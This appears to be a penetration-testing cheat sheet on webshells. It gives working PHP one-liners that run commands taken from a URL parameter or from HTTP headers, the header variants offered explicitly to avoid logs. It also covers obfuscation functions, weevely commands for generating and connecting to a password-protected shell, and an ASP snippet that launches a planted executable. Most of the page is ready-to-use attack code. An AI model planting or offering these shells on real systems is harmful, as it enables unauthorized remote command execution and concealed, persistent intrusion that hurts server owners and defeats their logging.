Webshell

A webshell is a shell that you can access through the web. This is useful for when you have firewalls that filter outgoing traffic on ports other than port 80. As long as you have a webserver, and want it to function, you can't filter our traffic on port 80 (and 443). It is also a bit more stealthy than a reverse shell on other ports since the traffic is hidden in the http traffic.

You have access to different kinds of webshells on Kali here:

```
/usr/share/webshells
```

PHP

This code can be injected into pages that use php.

```
# Execute one command
<?php system("whoami"); ?>

# Take input from the url paramter. shell.php?cmd=whoami
<?php system($_GET['cmd']); ?>

# The same but using passthru
<?php passthru($_GET['cmd']); ?>

# For shell_exec to output the result you need to echo it
<?php echo shell_exec("whoami");?>

# Exec() does not output the result without echo, and only output the last line. So not very useful!
<?php echo exec("whoami");?>

# Instead to this if you can. It will return the output as an array, and then print it all.
<?php exec("ls -la",$array); print_r($array); ?>

# preg_replace(). This is a cool trick
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

# Using backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>

# Using backticks
<?php echo `whoami`; ?>
```

You can then call then execute the commands like this:

```
http://192.168.1.103/index.php?cmd=pwd
```

Make it stealthy

We can make the commands from above a bit more stealthy. Instead of passing the cmds through the url, which will be obvious in logs, we cna pass them through other header-paramters. The use tampterdata or burpsuite to insert the commands. Or just netcat or curl.

```
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
<?php system($_SERVER['HTTP_USER_AGENT'])?>

# I have had to use this one
<?php echo passthru($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
```

Obfuscation

The following functions can be used to obfuscate the code.

```
eval()
assert()
base64()
gzdeflate()
str_rot13()
```

Weevely - Incredible tool!

Using weevely we can create php webshells easily.

```
weevely generate password /root/webshell.php
```

Not we execute it and get a shell in return:

```
weevely "http://192.168.1.101/webshell.php" password
```

ASP

```
<%
Dim oS
On Error Resume Next
Set oS = Server.CreateObject("WSCRIPT.SHELL")
Call oS.Run("win.com cmd.exe /c c:\Inetpub\shell443.exe",0,True)
%>
```

References

http://www.acunetix.com/blog/articles/keeping-web-shells-undercover-an-introduction-to-web-shells-part-3/ http://www.binarytides.com/web-shells-tutorial/